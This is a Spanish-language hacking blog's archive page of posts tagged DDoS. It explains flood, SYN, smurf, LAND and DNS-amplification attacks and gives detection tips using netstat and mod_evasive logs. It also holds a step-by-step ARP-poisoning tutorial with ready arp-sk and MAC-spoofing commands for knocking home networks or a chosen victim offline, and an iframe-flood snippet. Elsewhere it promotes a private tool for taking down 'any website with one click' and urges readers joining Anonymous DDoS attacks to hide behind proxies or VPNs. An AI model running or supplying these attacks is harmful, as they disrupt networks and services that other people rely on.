Mostrando entradas con la etiqueta DDoS. Mostrar todas las entradas
Mostrando entradas con la etiqueta DDoS. Mostrar todas las entradas

23 oct. 2013

Mapa mundial de ataques DDoS en tiempo real

Google anunció desde su twitter el lanzamiento de un mapa de ataques DDoS en tiempo real. Todo gracias a los datos que recopilados por la compañía Arbor Networks provenientes de clientes de más de 270 proveedores de acceso a internet en el mundo.


Sin más que decir los dejo con el Mapa mundial de ataques DDoS en tiempo real (tiene un toque artístico):

7 jul. 2012

Realiza un Ataques DDoS sin morir en el intento

Estaba revisando calebbucker.blogspot.com y han escrito un interesante artículo sobre ataques DDoS donde explican en que consiste, como realizar ataques desde servidores webs, y como administrar muchas shells para realizar un DDoS exitoso. Les dejo el artículo a continuación:


¿Te Gustaría Dejar Off Cualquier Sitio Web con un Click? Si tu respuesta es SI, entonces esto te interesara :)

La entrada tratara sobre como realizar ataques DDoS hacia servidores webs, con una herramienta que actualmente no es muy conocida en Latino America y es totalmente privada.

Ahora bien, empecemos con el concepto de DDoS según WikiPedia:

En seguridad informática, un ataque de denegación de servicio, también llamado ataque DoS (de las siglas en inglés Denial of Service), es un ataque a un sistema de computadoras o red que causa que un servicio o recurso sea inaccesible a los usuarios legítimos. Normalmente provoca la pérdida de la conectividad de la red por el consumo del ancho de banda de la red de la víctima o sobrecarga de los recursos computacionales del sistema de la víctima.

Métodos de ataque:
- SYYN
- UDP
- ICMP

20 ene. 2012

Megaupload DOWN!

Como ya se habrán dado cuenta el FBI cerró MEGAUPLOAD, un paso más a la hostilidad y a la censura de un Internet libre... Mucho se puede decir, y poco se puede hacer, ataques DDoS no son suficientes si creen que con eso se logra algo...


Muchos archivos de Blackploit.com estaban hospeados en Megaupload, intentaré arreglarlos en breve, pero no será extraño que empiecen a votar otros servicios de descargas...

Si deciden ayudar a Anonymous en los ataques DDoS por favor usen buenas proxys o VPNs como corresponde.

3l Conocimiento Debe Ser Libr3!

[+] Salu2
[+] Zion3R

21 dic. 2010

[D0z.me Please] Un acortador de URL que genera DDoS

Si bien esto no es un concepto nuevo ni se trata de una herramienta sofisticada, es conceptualmente interesante, ya que sólo requiere un navegador para ejecutar una parte de un ataque DoS y todo lo que se requiere es tener activado Javascript para que funcione en los navegadores de los participantes.

Con eso en mente un estudiante de la Universidad de Tulsa creo D0z.me, una Prueba de Concepto (PoC) de un acortador de URL que, además de ofrecer ese servicio, ataca (secretamente) a un servidor arbitrario. El autor también ha publicado el código fuente de la herramienta.

22 sept. 2010

Tipos de ataques Denial-of-Service (DoS)

 Hace poco en El rincón de dan1t0 subieron un texto explicativo sobre los Denial-of-Service (DoS) bastante bueno y especial para que aprendan de que se tratan, ahí los dejo con el texto:

Un ataque de denegación de servicio (D.o.S.) es un tipo practica bastante común en el mundo de Internet, y se basa en hacer que un servicio o recurso sea inaccesible para los usuarios del mismo mientras dura el ataque, este tipo de ataques suele usarse a veces como distracción de los administradores de red para realizar un ataque más potente con un objetivo más concreto o simplemente dejar cortado un servicio en un momento vital para la empresa. Por lo tanto es bueno conocer qué es, que tipos hay y así poder tener un idea clara de como defenderse de ellos. No solo desde el exterior de la red, sino desde el interior que es donde se produce la mayoría de los ataques actualmente (80%).


  • Ataques de desbordamiento de buffer. Es de los más comunes, se basa en enviar más trafico a una aplicación o dispositivo del que este puede soportar y de esta forma lo colapse. Imaginemos que tenemos un servidor de correo que puede procesar 5 correos por segundo si, desde varias maquinas se envían 20 correos por segundo al servidor de correo este colapsara y quedara inutilizado durante el tiempo que dure el ataque.
  •  Ataque SYN. Para entender este ataque hay que conocer un poco del protocolo TCP, para abrir una conexión entre dos hosts se necesita una sincronización previa entre ambos, para ello el host que quiere conectarse (A) tiene que enviar un paquete de tipo SYN al equipo destino (B), este lo que hace es asignar un espacio en la pila TCP para esa conexión y envía a B  una respuesta, si todo siguiera de forma normal en 3 pasos establecerían una conexion; pero si tu idea es atacar enviarás un mismo paquete SYN desde varios equipos con una IP falsa de origen (spoofing) de tal forma que el servidor atacado envié respuesta a un host desconocido, esto hará que no reciba respuesta y la pila se vaya llenando de conexiones abiertas a la espera, si enviamos masivamente muchos paquetes SYN acabaremos por tirar la red y el host atacado quedará incomunicado.
  •  Ataque Smurf. Este ataque también es muy sencillo de realizar, si no se esta protegido. El ataque smurf se basa en enviar un ping a la dirección broadcast de la red, el ping utiliza el protocolo ICMP, cuando enviamos un ping enviamos un paquete a un host, si el host "esta vivo" nos devolverá el mismo paquete, imaginemos ahora que mediante un generador de paquetes creamos un paquete ping que contenga gran cantidad de información y hacemos spoofing cambiando la ip de origen por la de nuestro host víctima, si tenemos en cuenta que cuando enviamos un ping a la dirección broadcast este es devuelto por todos los host de la red, si enviamos muchos ping conseguiremos que todos ellos sean devueltos masivamente al host atacado y este quede fuera de juego, tened en cuenta además que una red de una empresa puede tener cientos de pc's conectados.
  •  Virus y gusanos. Este tipo de ataques muchas veces no es intencionado o mejor dicho no se elije a la víctima, es decir navegando por la red, descargando archivos de procedencia no segura puedes infectarte con un virus o con un gusano, un virus ataca a un equipo y según su morfología dañara de una u otra forma, y se propagara mediante ubs's, etc. Un gusano se replica por toda la red consumiendo recursos de esta hasta tirarla y dejarla sin servicios. Para realizar este ataque puede conseguir acceder a la red de forma remota y liberar un gusano, puede enviarlo por correo a alguna persona dentro de la red mediante un falso correo útil spoofeando una dirección licita o usar miles de métodos como ingeniería social.
Fuente: http://dan1t0.blogspot.com/

26 may. 2010

[Arp DoS] Cómo tirar abajo una red LAN / Wifi casera en pocos segundos

En la actualidad, la mayoría de conexiones a Internet para al hogar y pequeña oficina que los distintos ISP ofrecen a sus clientes, se basan en aparatos que aunque denominados routers, son la suma de un enrutador, un switch (Conmutador) y un punto de acceso Wireless, todo en uno. Esto facilita que con un solo dispositivo se pueda ofrecer de forma simple y económica un acceso a Internet y red a más de un usuario por linea contratada. Los proveedor de servicios de Internet ofrecen este tipo de dispositivos con una configuración predeterminada insegura, esto se debe a que la mayoría de usuarios de Internet son inexpertos y los dispositivos no pueden implementar medidas que dificulten al cliente la configuración y acceso a la red, motivo por el cual la mayoría de redes y conexiones a Internet que encontramos en hogares y pequeñas oficinas son consideradas como poco seguras.

Lo que venimos a demostrar en este post es lo simple que resulta producir una denegación de servicio en este tipo de dispositivos de red utilizando únicamente la capa de enlace. No explicaremos el protocolo ARP en detalle, se da por supuesto que el lector tiene un conocimiento básico sobre este protocolo y su funcionamiento. Para generar un DoS que impida a los clientes de una determinada red acceder al router, usaremos algo tan viejo y conocido como es el envenenamiento ARP, nosotros proponemos la siguiente estrategia, pero no es la única que podemos utilizar, hay otras formas de realizar denegaciones de servicio utilizando en la capa de enlace.
  • Inundar la red con respuestas falsas que contesten a solicitudes ARP que pregunten por la MAC del gateway.
  • Envenenar la tabla ARP del router para que asocie la MAC del gateway a la boca del router donde estemos conectados.
La capa de enlace obliga a que cualquier cliente que quisiera salir a Internet debe tener guardada la dirección física del router en su tabla ARP, para obtener esa dirección se inunda la red enviando paquetes "ARP request" a la dirección de broadcast (FF:FF:FF:FF:FF:FF) preguntando por la MAC del enrutador. Por lo tanto, si inundamos de respuestas falsas la red, indicando que la dirección física vinculada a la ip del router 192.168.1.1 es "AA:BB:CC:AA:BB:CC", el cliente que quiera salir a Internet recibirá antes la respuesta falsa que la correcta devuelta por el enrutador, quedando su tabla ARP envenenada y en consecuencia sin acceso a Internet.

La propiedad de conmutador de los routers actuales les obliga a guardar una tabla con las direcciones MAC que tiene cada equipo y a que boca está conectado. Para fortalecer un poco más el ataque y hacerlo más eficiente, recomendamos realizar un envenenamiento ARP simultaneo que indique que la MAC real del router está vinculada a la boca desde la que se está lanzando el ataque. De esta forma envenenamos la tabla ARP del enrutador y si algún cliente consiguiera obtener la dirección MAC real del router, tampoco sería capaz de salir a Internet.

Hay muchos tipos de routers en el mercado y no todos reaccionan de la misma manera antes las denegaciones de servicio, pero la inmensa mayoría de dispositivos no profesionales ceden ante este tipo de ataques en la capa de enlace, tanto si se realiza desde una conexión cableada como desde una inalámbrica, algunos dispositivos incluso se cuelgan al recibir este tipo de denegación de servicio. La herramienta que nos permite realizar este ataque de una forma simple y con un solo comando es Arp-sk, considerada la "navaja suiza" del protocolo ARP.

Sintaxis utilizada para este ataque DoS:
# arp-sk -T u0  -r -i TARJETA -S IP_ROUTER:MAC_INVENTADA -s MAC_DEL ROUTER

Escenario de ejemplo:
  • Router: 192.168.1.1 / 00:01:38:68:D4:D8
  • Cliente: 192.168.1.33 / 00:0E:2E:C5:7B:70
  • Atacante: 192.168.1.33 / 00:18:39:BB:F0:3A

Comando del atacante en relación al escenario planteado:
# arp-sk -T u1  -r -i eth0 -S 192.168.1.1:AA:BB:CC:AA:BB:CC -s 00:01:38:68:D4:D8

Opciones de Arp-sk en uso:

-T u1 -> Envía paquetes dejando un periodo de tiempo de 1 microsegundo entre paquete y paquete.
-r -> Manda respuestas ARP (ARP Reply) que configuramos con la opción -S.
-i eth0 -> Permite especificar la interfaz con la que trabajaremos, puede realizarse con tarjetas wifi.
-S 192.168.1.1:AA:BB:CC:AA:BB:CC -> Dirección IP y MAC falseada de nuestras respuestas (ARP Reply).
-s 00:01:38:68:D4:D8 -> Dirección MAC origen, nos ayuda a que se asocie la MAC del router a la boca donde tenemos conectado nuestro cable.

La opción "-s" obliga a que todos los paquetes salientes de "Arp-sk" utilicen como origen la MAC indicada, pero si el atacante visita una determinada web o alguna aplicación conecta a Internet durante la prueba de concepto, la tarjeta usará la dirección física real, por lo que en algunas ocasiones puede ser recomendable cambiar temporalmente la MAC de nuestra interfaz a nivel global, para ello podemos usar la herramienta "ifconfig".

Cambiar la dirección física de nuestra tarjeta de red.
# ifconfig eth0 down
# ifconfig eth0 hw ether 00:01:38:68:D4:D8
# ifconfig eth0 up

Orientando la denegación de servicio hacia un host específico.

Con este comando inundamos la red de respuestas ARP que vinculan la la IP de la victima con una dirección física falsa, a la vez que engañamos a la tabla ARP del router para que vincule la dirección MAC de la victima a nuestra boca del router.
# arp-sk -T u0 -r -i TARJETA -S IP_VICTIMA:MAC_INVENTADA -s MAC_VICTIMA

Otra opción que produce menos tráfico sería la siguiente, con este comando enviamos respuestas ARP que envenenan la tabla de la victima vinculando la IP del router a una dirección MAC inexistente. La opción "-d" nos permite especificar el destino de nuestro ataque y de esta forma evitar el broadcast.
# arp-sk -T u0 -r -i TARJETA -S IP_ROUTER:MAC_INVENTADA -d MAC_VICTIMA

Consultar y borrar la tabla ARP desde GNU/Linux

Consultar entradas ARP de la tabla
# arp -a

Borrar entrada de la tabla ARP
# arp -d 192.168.1.1

¿Cómo evitar / detectar este tipo de ataques ARP DoS?

Fabricantes:
  • Implementación de sistemas como DHCP snooping.
  • Facilitar mecanismos de seguridad que solo permitan utilizar la primera MAC conectada al router/switch.
  • Comprobar que la MAC origen y la anunciada en un paquete ARP Reply son las mismas.
  • Impedir que la funcionalidad de switch permita falsear la MAC de la puerta de enlace.
Usuario:
  • Usar Tablas ARP estáticas.
  • Uso de aplicaciones tipo Arpwatch y Arpalert.
  • Comprobar indicios de ARP Spoofing mediante RARP (ARP inverso), si ante una consulta, RARP devuelve más de una dirección IP, significa que esa dirección MAC ha sido clonada.
Conceptos:
ARP Who-has = ARP Request.
Router = Gateway = Puerta de enlace predeterminada = Enrutador.
Switch = Conmutador.
Dirección física = Dirección MAC = Dirección de capa 2.

Autor: aprendiz2
Fuente: http://foro.latinohack.com/

12 may. 2010

[reDoS (Denial of Service) ] Tutorial

En los últimos años se ha hablado mucho de ataques de Denegación de Servicio y más de alguno de vosotros conoceréis las famosas botnets (redes de maquinas zombies programadas para realizar peticiones masivas a servidores hasta causar una sobresaturación de los mismos). Existen sin embargo otro tipo diferente de ataques de Denegación de Servicio o DoS (Denial of Service). Un ataque contra una base de datos que eliminara el contenido de sus tablas sería otro tipo de denegación de servicio ya que no permitiría al usuario poder acceder a la información antes almacenada en el servidor.

Existen muchos tipos de Denegaciones de Servicio pero la variante que vamos a tratar en este paper son las Denegaciones de Servicio en la validación de Expresiones Regulares, o lo que se conoce por reDoS.

Aquí un paper detallando reDoS:

http://n3t-datagrams.net/papers/reDOS-n3t-datagrams-by-SH4V.pdf

Autor: David Kotriksnov (a.k.a. SH4V)

[+] Salu2

14 nov. 2009

Todo sobre ataques DoS

El famoso ataque DoS (Denial of service) se realiza a un sistema de computadoras o red para causar que un servicio o recurso sea inaccesible a los usuarios legítimos.

Se caracterizan por su fácil ejecución y su principal rasgo es la dificultad con la que pueden ser mitigados.

Un ataque de este tipo a un servidor conectado a Internet tiene como objetivo agotar sus recursos, ya sean de ancho de banda o de procesamiento, para que sea (prácticamente) imposible acceder a él.

Realizar un ataque de estos esta a dispocision de caulquiera, siempre y cuando haya encontrado una vulnerabilidad que le permita hacer un DoS, o sino, tener un ancho de banda (Internet) mayor al IP atacada.

¿DDoS?
Un ataque DDoS es aquel que es realizado por muchas pcs atacantes, de modo de intensificar el daño producido.

Generalmente, los DDoS son producidos por botnets, una red de pcs "zombies" que actuan bajo el dominio de un hacker/lammer/newbie/etc que les dan la orden de realizar el ataque.

TIPOS DE ATAQUES DoS:
  • Ataque LAND

    Un ataque LAND se produce al enviar un paquete TCP/SYN falsificado con la dirección del servidor objetivo como si fuera la dirección origen y la dirección destino a la vez. Esto causa que el servidor se responda a sí mismo continuamente acabe desbordándose y al final falle.
  • Ataque Conecction Flood

    Todo servicio de Internet orientado a conexión (la mayoría) tiene un límite máximo en el número de conexiones simultaneas que puede tolerar. Una vez que se alcanza ese límite, no se admitirán conexiones nuevas.

    Así, por ejemplo, un servidor Web puede tener capacidad para atender a mil usuarios simultáneos. Si un atacante establece mil conexiones y no realiza ninguna petición sobre ellas, monopolizará la capacidad del servidor.

    Las conexiones van caducando por inactividad poco a poco, pero el atacante sólo necesita intentar conexiones nuevas constantemente, como ocurre con el caso del SYN flood.

    La máquina atacada tiene constancia de la identidad real del atacante. Al menos, si sus administradore s merecen su sueldo y saben qué comandos utilizar.
  • Ataque SYN Flood

    Cuando una máquina se comunica mediante TCP/IP con otra, envía una serie de datos junto a la petición real. Estos son los paquetes SYN/ACK.

    Para realizar una conexion se siguen los siguientes pasos:

    El cliente envía una Flags SYN, si el servidor acepta la conexión este debería responderle con un SYN/ACK luego el cliente debería responder con una Flags ACK.

    La inundación SYN envía un flujo de paquetes TCP/SYN, muchas veces con la dirección de origen falsificada.

    Cada uno de los paquetes recibidos es tratado por el destino como una petición de conexión, causando que el servidor intente establecer una conexión al responder con un paquete TCP/SYN-ACK y esperando el paquete de respuesta TCP/ACK (Parte del proceso de establecimient o de conexión TCP de 3 vías).

    Sin embargo, debido a que la dirección de origen es falsa o la dirección IP real no ha solicitado la conexión, nunca llega la respuesta.

    Estos intentos de conexión consumen recursos en el servidor y limitan el número de conexiones que se pueden hacer, reduciendo la disponibilidad del servidor para responder peticiones legítimas de conexión.
  • Ping de la Muerte

    Aclaro que este metodo ya no funciona mas, a no ser que tu b1ct1m@ tenga una PI o PII y Windows 98..

    Este ataque es muy simple. Se trata de enviar infinitos paquetes ICMP (Ping) de 56 k, a una ip. La ip atacada, responde con un paquete ICMP Echo reply (Pong). Al enviar muchos ICMP, esto agotaria el ancho de banda.

    Esto depende mucho de la relacion entre atacante/atacado, porque si el atacante tiene mayor ancho de banda, obviamente lo agotara rapido, porque el atacado no puede controlar el trafico.

    Pero repito, esto no funciona mas..
  • Ataque Smurf

    El ataque smurf utiliza una característica de Internet: broadcast.

    Toda red tiene lo que se denomina una dirección de broadcast. Los datagramas enviados a esa dirección son recibidos por todas las máquinas en la red local. Ello permite, por ejemplo, que una máquina localice un servidor proporcionando un servicio haciendo una pregunta a la red, no preguntando máquina por máquina.

    El problema de la dirección broadcast es que suele estar disponible también para usuarios de fuera de la red local, en particular para todo Internet. Ello permite, por ejemplo, que un atacante envíe un pequeño datagrama a toda una red remota, y que las máquinas de dicha red respondan todas a la vez, posiblemente con un datagrama de mayor tamaño.

    Si la red sondeada tiene 150 máquinas activas, la respuesta es 150 veces más intensa. Es decir, se consigue un efecto multiplicador.

    De esta manera, se envia paquetes, generalmente ICMP, a grandes redes desde una direccion de origen a la que queramos atacar (IP Spoofeada). Entonces las pcs de la red enviaran su respuesta de gran tamaño a la IP atacada y haran un Ataque "SYN Flood", agotando su ancho de banda.
  • Ataque de DNS Amplification

    Este es bastante similar al anterior:

    El atacante envía una alta cantidad de peticiones con una dirección IP falsificada (spoof) al DNS que permite recursión, el DNS procesa estas peticiones como si éstas fueran válidas mandando una respuesta al sistema al cual se quiere atacar, es decir al sistema víctima.

    Cuando estas peticiones alcanzan un volumen importante pueden inundar al sistema víctima de repuestas del DNS a las peticiones que se le realizan.

    Este ataque es llevado a cabo gracias a errores en la configuración del DNS y es llamado amplification puesto que los DNS al reflejar el ataque, potencian el nivel de éste hacia un blanco en especifico a causa de que las respuestas del servidor de nombres son de un tamaño considerableme nte mayor que las peticiones que se le realizan causando con esto, en ocasiones, la caída del servicio y con ello la negación del mismo.
Ataque Mediante Iframe en HTML
 Ese metodo consiste en crear un iframe en html:

<iframe height="X" src="***.***.***.***" width="X"> </iframe>

Con esto se logra crear una "ventanita" a otra pagina, pero ojo, Que pasa si creamos 1000 ventanitas?

Ahi tenemos un ataque DoS perfecto, solo hay que subirlo a alguna web, o entrar uno desde el bloc de notas y listo.

Funciona bastante bien, pero consume muchos recursos.
  • Ataque a Servidores IRC

    No es un gran ataque, pero suele ser efectivo.

    Consiste en conectarse al IRC mediante muchos bots, y hacerlos hablar a una hora determinada. Eso inundaria el canal y dejaria de funcionar correctamente, ya que se pasaria de los limites los mensajes que puede procesar el servidor.

    Todo depende de la cantidad de bots que usemos.
Detectar un Ataque DoS
 Usando el comando netstat

netstat -an | grep :80 | sort

netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}'

netstat -n -p|grep SYN_REC | wc -l

netstat -lpn|grep :80 |awk '{print $5}'|sort

netstat -an | grep :80 | awk '{ print $5 }' | awk -F: '{ print $1 }' | sort | uniq -c | sort -n

Ejemplo de ataque SYN_RECV o SYN Flooding al Apache (puerto 80)

192.168.0.3 es la ip del servidor apache y 192.168.0.105 es la ip del "atacante"

tcp        0      0 192.168.0.3:80          192.168.0.5:60808     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60761     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60876     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60946     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60763     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60955     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60765     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60961     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60923     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61336     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61011     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60911     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60758     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60828     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61114     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61074     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60826     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60959     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60900     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60940     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60920     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60825     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60945     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60913     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61009     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60755     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60904     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61583     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60910     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60915     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60827     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61458     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60908     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61007     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60927     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60951     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60942     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61113     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60909     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60822     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60894     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60952     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60928     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60936     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60906     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61466     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60919     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60914     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60926     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60939     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60931     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60831     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60823     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60954     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60916     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60963     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60947     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61006     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60933     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60950     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60895     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60917     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61480     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60935     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60960     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60767     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60918     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60821     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61077     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60905     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61517     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60893     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60953     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60903     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61439     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61337     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61545     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61299     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61010     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60930     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60744     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60929     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60754     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61008     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61116     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60811     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60807     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60938     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60764     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60873     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60817     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61550     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60748     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60956     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60753     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61115     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60741     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61075     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60948     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60829     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60943     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61338     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60762     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60824     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60830     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61535     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60898     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60815     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60962     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60957     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60944     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60921     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60759     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60897     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61518     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60958     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60922     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60937     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60875     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60766     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60751     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60768     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60743     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:61076     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60912     SYN_RECV   
tcp        0      0 192.168.0.3:80          192.168.0.5:60816     SYN_RECV

Mirando el server-status del Apache
Si miramos el server-status del apache veremos conexiones en estado "Reading" ("R" Reading Request)



El problema es que cuando el número de conexiones "Reading" llena el "MaxClients" del Apache no acepta nuevas peticiones, por lo que los nuevos clientes, aunque sean legítimos, no serán aceptados.
Mirando los logs del mod_evasive

Jun 22 18:24:04 lan mod_evasive[3835]: Blacklisting address 82.228.169.50: possible attack.
Jun 22 18:24:45 lan mod_evasive[3600]: Blacklisting address 81.206.164.163: possible attack.
Jun 22 18:25:46 lan mod_evasive[3589]: Blacklisting address 155.232.250.19: possible attack.
Jun 22 18:27:23 lan mod_evasive[3671]: Blacklisting address 83.227.217.2: possible attack.
Jun 22 18:28:10 lan mod_evasive[3673]: Blacklisting address 68.187.171.89: possible attack.
Jun 22 18:29:57 lan mod_evasive[3605]: Blacklisting address 70.143.2.130: possible attack.
Jun 22 18:30:45 lan mod_evasive[3803]: Blacklisting address 69.157.93.88: possible attack.
Jun 22 18:31:45 lan mod_evasive[10397]: Blacklisting address 146.64.81.22: possible attack.
Jun 22 18:35:01 lan mod_evasive[3794]: Blacklisting address 66.38.192.134: possible attack.
Jun 22 18:35:15 lan mod_evasive[3553]: Blacklisting address 81.190.204.64: possible attack.
Jun 22 18:40:10 lan mod_evasive[16602]: Blacklisting address 64.231.39.129: possible attack.
Jun 22 18:48:04 lan mod_evasive[16479]: Blacklisting address 84.99.195.100: possible attack.
Jun 22 18:48:12 lan mod_evasive[16467]: Blacklisting address 201.0.10.142: possible attack.
Jun 22 18:52:57 lan mod_evasive[16573]: Blacklisting address 219.95.39.242: possible attack.
Jun 22 18:53:07 lan mod_evasive[16534]: Blacklisting address 86.129.3.91: possible attack.
Jun 22 18:53:26 lan mod_evasive[16527]: Blacklisting address 62.254.0.32: possible attack.
Jun 22 18:54:41 lan mod_evasive[30473]: Blacklisting address 24.196.199.191: possible attack.
Jun 22 18:55:17 lan mod_evasive[30520]: Blacklisting address 142.161.157.227: possible attack.
Jun 22 18:55:24 lan mod_evasive[30461]: Blacklisting address 65.92.145.133: possible attack.
